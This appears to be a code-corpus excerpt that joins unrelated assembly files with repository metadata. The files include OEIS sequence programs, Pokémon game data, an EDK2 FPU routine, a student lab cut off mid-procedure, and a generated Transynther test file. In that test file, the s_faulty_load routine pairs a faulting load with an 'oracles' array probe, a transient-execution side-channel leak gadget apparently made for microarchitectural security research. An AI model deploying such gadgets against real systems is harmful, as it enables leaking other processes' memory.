[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'00': 4148}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 32.373541 | 2,999 | 0.655168 |
d2dd97b0a0c160ae0de7a5adcee0731e0bf27c01 | 271 | asm | Assembly | programs/oeis/255/A255848.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/255/A255848.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/255/A255848.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A255848: a(n) = 2*n^2 + 18.
; 18,20,26,36,50,68,90,116,146,180,218,260,306,356,410,468,530,596,666,740,818,900,986,1076,1170,1268,1370,1476,1586,1700,1818,1940,2066,2196,2330,2468,2610,2756,2906,3060,3218,3380,3546,3716,3890,4068,4250,4436
pow $0,2
mul $0,2
add $0,18
| 38.714286 | 211 | 0.708487 |
9688daefdfd47a9e3e60fab13efda704e43d2420 | 334 | asm | Assembly | data/mapObjects/CeladonMartElevator.asm | AmateurPanda92/pokemon-rby-dx | f7ba1cc50b22d93ed176571e074a52d73360da93 | [
"MIT"
] | 9 | 2020-07-12T19:44:21.000Z | 2022-03-03T23:32:40.000Z | data/mapObjects/CeladonMartElevator.asm | JStar-debug2020/pokemon-rby-dx | c2fdd8145d96683addbd8d9075f946a68d1527a1 | [
"MIT"
] | 7 | 2020-07-16T10:48:52.000Z | 2021-01-28T18:32:02.000Z | data/mapObjects/CeladonMartElevator.asm | JStar-debug2020/pokemon-rby-dx | c2fdd8145d96683addbd8d9075f946a68d1527a1 | [
"MIT"
] | 2 | 2021-03-28T18:33:43.000Z | 2021-05-06T13:12:09.000Z | CeladonMartElevator_Object:
db $f ; border block
db 2 ; warps
warp 1, 3, 5, CELADON_MART_1F
warp 2, 3, 5, CELADON_MART_1F
db 1 ; signs
sign 3, 0, 1 ; CeladonMartElevatorText1
db 0 ; objects
; warp-to
warp_to 1, 3, CELADON_MART_ELEVATOR_WIDTH ; CELADON_MART_1F
warp_to 2, 3, CELADON_MART_ELEVATOR_WIDTH ; CELADON_MART_1F
| 20.875 | 60 | 0.745509 |
a8543db4f12269e9a3cf60a2dda76837c38b3fd9 | 2,708 | asm | Assembly | programs/oeis/017/A017451.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/017/A017451.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/017/A017451.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A017451: a(n) = (11*n + 5)^3.
; 125,4096,19683,54872,117649,216000,357911,551368,804357,1124864,1520875,2000376,2571353,3241792,4019679,4913000,5929741,7077888,8365427,9800344,11390625,13144256,15069223,17173512,19465109,21952000,24642171,27543608,30664297,34012224,37595375,41421736,45499293,49836032,54439939,59319000,64481201,69934528,75686967,81746504,88121125,94818816,101847563,109215352,116930169,125000000,133432831,142236648,151419437,160989184,170953875,181321496,192100033,203297472,214921799,226981000,239483061,252435968,265847707,279726264,294079625,308915776,324242703,340068392,356400829,373248000,390617891,408518488,426957777,445943744,465484375,485587656,506261573,527514112,549353259,571787000,594823321,618470208,642735647,667627624,693154125,719323136,746142643,773620632,801765089,830584000,860085351,890277128,921167317,952763904,985074875,1018108216,1051871913,1086373952,1121622319,1157625000,1194389981,1231925248,1270238787,1309338584,1349232625,1389928896,1431435383,1473760072,1516910949,1560896000,1605723211,1651400568,1697936057,1745337664,1793613375,1842771176,1892819053,1943764992,1995616979,2048383000,2102071041,2156689088,2212245127,2268747144,2326203125,2384621056,2444008923,2504374712,2565726409,2628072000,2691419471,2755776808,2821151997,2887553024,2954987875,3023464536,3092990993,3163575232,3235225239,3307949000,3381754501,3456649728,3532642667,3609741304,3687953625,3767287616,3847751263,3929352552,4012099469,4096000000,4181062131,4267293848,4354703137,4443297984,4533086375,4624076296,4716275733,4809692672,4904335099,5000211000,5097328361,5195695168,5295319407,5396209064,5498372125,5601816576,5706550403,5812581592,5919918129,6028568000,6138539191,6249839688,6362477477,6476460544,6591796875,6708494456,6826561273,6946005312,7066834559,7189057000,7312680621,7437713408,7564163347,7692038424,7821346625,7952095936,8084294343,8217949832,8353070389,8489664000,8627738651,8767302328,8908363017,9050928704,9195007375,9340607016,9487735613,9636401152,9786611619,9938375000,10091699281,10246592448,10403062487,10561117384,10720765125,10882013696,11044871083,11209345272,11375444249,11543176000,11712548511,11883569768,12056247757,12230590464,12406605875,12584301976,12763686753,12944768192,13127554279,13312053000,13498272341,13686220288,13875904827,14067333944,14260515625,14455457856,14652168623,14850655912,15050927709,15252992000,15456856771,15662530008,15870019697,16079333824,16290480375,16503467336,16718302693,16934994432,17153550539,17373979000,17596287801,17820484928,18046578367,18274576104,18504486125,18736316416,18970074963,19205769752,19443408769,19683000000,19924551431,20168071048,20413566837,20661046784
mul $0,11
add $0,5
pow $0,3
mov $1,$0
| 338.5 | 2,636 | 0.893648 |
6ecada9ec619798ea8e64ae477c69880ab12251e | 478 | asm | Assembly | scripts/celadondiner.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 16 | 2018-08-28T21:47:01.000Z | 2022-02-20T20:29:59.000Z | scripts/celadondiner.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 5 | 2019-04-03T19:53:11.000Z | 2022-03-11T22:49:34.000Z | scripts/celadondiner.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 2 | 2019-12-09T19:46:02.000Z | 2020-12-05T21:36:30.000Z | CeladonDinerScript:
call EnableAutoTextBoxDrawing
ret
CeladonDinerTextPointers:
dw CeladonDinerText1
dw CeladonDinerText2
dw CeladonDinerText3
dw CeladonDinerText4
dw CeladonDinerText5
CeladonDinerText1:
TX_FAR _CeladonDinerText1
db "@"
CeladonDinerText2:
TX_FAR _CeladonDinerText2
db "@"
CeladonDinerText3:
TX_FAR _CeladonDinerText3
db "@"
CeladonDinerText4:
TX_FAR _CeladonDinerText4
db "@"
CeladonDinerText5:
TX_ASM
callab Func_f1f31
jp TextScriptEnd
| 14.9375 | 30 | 0.824268 |
6dc404df5d80a7b856c3d67dfecc145472abffde | 8,961 | asm | Assembly | Transynther/x86/_processed/NONE/_un_xt_sm_/i9-9900K_12_0xa0.log_21829_773.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_un_xt_sm_/i9-9900K_12_0xa0.log_21829_773.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_un_xt_sm_/i9-9900K_12_0xa0.log_21829_773.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r15
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x1170f, %rdx
nop
nop
nop
nop
and %rsi, %rsi
movw $0x6162, (%rdx)
nop
nop
nop
nop
nop
dec %r12
lea addresses_A_ht+0x10e6f, %rax
nop
nop
and $55420, %r9
movl $0x61626364, (%rax)
nop
nop
nop
nop
xor $520, %rdx
lea addresses_D_ht+0x153bf, %r9
nop
nop
nop
nop
nop
sub $6836, %rax
mov (%r9), %si
nop
nop
nop
nop
nop
dec %r10
lea addresses_D_ht+0x1066f, %rsi
lea addresses_D_ht+0xaf9f, %rdi
nop
nop
nop
nop
nop
xor $65462, %r9
mov $73, %rcx
rep movsl
nop
add %r15, %r15
lea addresses_WC_ht+0x1db6f, %r12
nop
nop
nop
nop
sub $1446, %rax
movups (%r12), %xmm6
vpextrq $1, %xmm6, %r9
nop
xor %rcx, %rcx
lea addresses_normal_ht+0x1c25e, %r10
clflush (%r10)
nop
nop
nop
nop
nop
sub %rcx, %rcx
mov $0x6162636465666768, %rsi
movq %rsi, %xmm6
movups %xmm6, (%r10)
nop
nop
inc %rdi
lea addresses_WT_ht+0xbc4f, %rdi
nop
inc %r9
vmovups (%rdi), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $0, %xmm4, %rax
nop
cmp %r9, %r9
lea addresses_A_ht+0xee6f, %r9
clflush (%r9)
nop
and %rdi, %rdi
mov $0x6162636465666768, %rsi
movq %rsi, %xmm0
vmovups %ymm0, (%r9)
nop
nop
nop
nop
xor %r9, %r9
lea addresses_A_ht+0x11c6f, %rsi
lea addresses_WC_ht+0x5cef, %rdi
nop
nop
add $37093, %r10
mov $18, %rcx
rep movsb
nop
cmp %r9, %r9
lea addresses_UC_ht+0xb7af, %rdx
nop
nop
nop
nop
xor %rdi, %rdi
mov $0x6162636465666768, %rax
movq %rax, %xmm6
movups %xmm6, (%rdx)
nop
and $49456, %r15
lea addresses_UC_ht+0x1ca8b, %rsi
lea addresses_A_ht+0x3ebf, %rdi
and %rax, %rax
mov $118, %rcx
rep movsq
nop
nop
xor $30274, %r10
lea addresses_A_ht+0x1956f, %rdi
nop
add %r12, %r12
mov (%rdi), %edx
dec %r15
lea addresses_UC_ht+0x19433, %rsi
lea addresses_WT_ht+0x1286f, %rdi
nop
nop
and %r12, %r12
mov $38, %rcx
rep movsw
nop
nop
nop
nop
nop
cmp %r12, %r12
lea addresses_UC_ht+0xb66f, %rdi
nop
nop
nop
cmp $57308, %r12
mov (%rdi), %r9d
nop
add $37964, %r15
lea addresses_normal_ht+0x166f, %r9
nop
add $43972, %r15
movw $0x6162, (%r9)
lfence
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r15
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r8
push %r9
push %rbp
push %rbx
push %rdi
push %rdx
// Store
mov $0x23482c0000000def, %r8
nop
nop
nop
nop
inc %rdi
movl $0x51525354, (%r8)
nop
nop
cmp $51356, %r13
// Store
lea addresses_WC+0x66f, %rbx
nop
nop
nop
nop
nop
add %rbp, %rbp
movl $0x51525354, (%rbx)
nop
nop
nop
xor $64476, %rbp
// Store
lea addresses_normal+0x5e3f, %rdi
nop
nop
xor $17795, %r13
movw $0x5152, (%rdi)
nop
nop
add $5195, %r13
// Load
lea addresses_WT+0x1166f, %rdi
nop
nop
add %rbx, %rbx
mov (%rdi), %edx
and %rdx, %rdx
// Store
lea addresses_WC+0x66f, %rdi
nop
nop
xor $12866, %rbx
movb $0x51, (%rdi)
nop
nop
nop
sub $23753, %r9
// Faulty Load
lea addresses_WC+0x66f, %r9
nop
nop
nop
dec %r13
movb (%r9), %r8b
lea oracles, %rdx
and $0xff, %r8
shlq $12, %r8
mov (%rdx,%r8,1), %r8
pop %rdx
pop %rdi
pop %rbx
pop %rbp
pop %r9
pop %r8
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': True, 'same': True, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_NC', 'AVXalign': True, 'size': 4}}
{'OP': 'STOR', 'dst': {'NT': True, 'same': True, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': False, 'size': 4}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_normal', 'AVXalign': False, 'size': 2}}
{'src': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_WT', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': False, 'size': 1}}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 3, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2}}
{'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 11, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4}}
{'src': {'NT': False, 'same': True, 'congruent': 4, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_D_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 16}}
{'src': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32}}
{'src': {'same': False, 'congruent': 9, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 5, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 16}}
{'src': {'same': False, 'congruent': 2, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 4, 'type': 'addresses_A_ht'}}
{'src': {'NT': True, 'same': False, 'congruent': 7, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 1, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2}}
{'54': 383, '2c': 1, '88': 1, '51': 21444}
51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 54 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 54 51 51 54 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 54 54 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 54 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 54 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 54 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 54 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 54 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 54 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 54 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 54 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 54 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 54 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 54 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 54 51 51 51 51 51 51 54 51 51 54 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 54 51 51 51 51 51 51 51 54 51 54 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51
*/
| 30.9 | 2,999 | 0.651043 |
967fab92d558956f7393a4b3b3f4da9387a36848 | 1,534 | asm | Assembly | StdLib/LibC/Main/Ia32/fpu_rmode.asm | James992927108/uEFI_Edk2_Practice | 2cac7618dfee10bfa5104a2e167c85425fde0100 | [
"BSD-2-Clause"
] | 521 | 2019-03-29T15:44:08.000Z | 2022-03-22T09:46:19.000Z | StdLib/LibC/Main/Ia32/fpu_rmode.asm | James992927108/uEFI_Edk2_Practice | 2cac7618dfee10bfa5104a2e167c85425fde0100 | [
"BSD-2-Clause"
] | 30 | 2019-06-04T17:00:49.000Z | 2021-09-08T20:44:19.000Z | StdLib/LibC/Main/Ia32/fpu_rmode.asm | James992927108/uEFI_Edk2_Practice | 2cac7618dfee10bfa5104a2e167c85425fde0100 | [
"BSD-2-Clause"
] | 99 | 2019-03-29T16:04:13.000Z | 2022-03-28T16:59:34.000Z | ;------------------------------------------------------------------------------
; Return the current FPU rounding mode.
;
; MASM implementation of the flt_rounds function by:
; J.T. Conklin, Apr 4, 1995
; Public domain.
;
; Copyright (c) 2010, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php.
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; NetBSD: flt_rounds.S,v 1.6 1999/08/23 08:45:09 kleink Exp
;------------------------------------------------------------------------------
.686
.model flat,C
.code
;_map BYTE 1 ; round to nearest
; BYTE 3 ; round to negative infinity
; BYTE 2 ; round to positive infinity
; BYTE 0 ; round to zero
;------------------------------------------------------------------------------
; int
; EFIAPI
; fpu_rmode( void );
;
;------------------------------------------------------------------------------
internal_FPU_rmode PROC
sub esp, 4 ; Create a local variable for fnstcw
fnstcw [esp]
mov eax, [esp]
shr eax, 10
and eax, 3
add esp, 4 ; Delete the local variable
ret
internal_FPU_rmode ENDP
END
| 32.638298 | 84 | 0.526076 |
dbca63c8eedd84fafa462d99cff26db356667c62 | 373 | asm | Assembly | programs/oeis/010/A010209.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/010/A010209.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/010/A010209.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A010209: Continued fraction for sqrt(160).
; 12,1,1,1,5,1,1,1,24,1,1,1,5,1,1,1,24,1,1,1,5,1,1,1,24,1,1,1,5,1,1,1,24,1,1,1,5,1,1,1,24,1,1,1,5,1,1,1,24,1,1,1,5,1,1,1,24,1,1,1,5,1,1,1,24,1,1,1,5,1,1,1,24,1,1,1,5
cal $0,40329 ; Continued fraction for sqrt(348).
add $2,$0
mov $4,$0
lpb $0,6
sub $2,3
add $4,1
lpe
mov $0,$3
add $0,$4
mov $1,$0
sub $1,2
div $1,2
add $1,1
| 21.941176 | 165 | 0.576408 |
0f069fa2830e9f8ce5d39a5415fce8d90ee6452d | 4,585 | asm | Assembly | programming/radasm/lab2/lab2.asm | Foltrex/bsu | 769ddac58eddd5877e40949227998575fd4dec77 | [
"MIT"
] | 113 | 2017-02-02T13:09:21.000Z | 2022-03-14T08:54:41.000Z | programming/radasm/lab2/lab2.asm | Foltrex/bsu | 769ddac58eddd5877e40949227998575fd4dec77 | [
"MIT"
] | 12 | 2017-04-14T12:01:50.000Z | 2022-03-08T22:47:22.000Z | programming/radasm/lab2/lab2.asm | Drapegnik/bsu | 769ddac58eddd5877e40949227998575fd4dec77 | [
"MIT"
] | 78 | 2017-03-18T22:36:13.000Z | 2022-02-20T14:42:34.000Z | .486
.model flat, stdcall
option casemap :none
include windows.inc ; always first
include masm32.inc
include gdi32.inc
include user32.inc
include kernel32.inc
includelib masm32.lib
includelib gdi32.lib
includelib user32.lib
includelib kernel32.lib
.data
buf db 300 dup(' ')
TAB db 10 dup(10 dup(0))
n dd 0
mes1 db "puts count of elements: ",0
mes2 db "puts elements: ",13,10,0
space db ' ',0
warn db "!!!!!",13,10,0
ind dd 0
siz1 dd 0
siz2 dd 0
tmp db 100 dup(0)
flag db 0
.code
MainProc proc
invoke StdOut, addr mes1
invoke StdIn, addr buf, 300
invoke atol, addr buf
mov n,eax
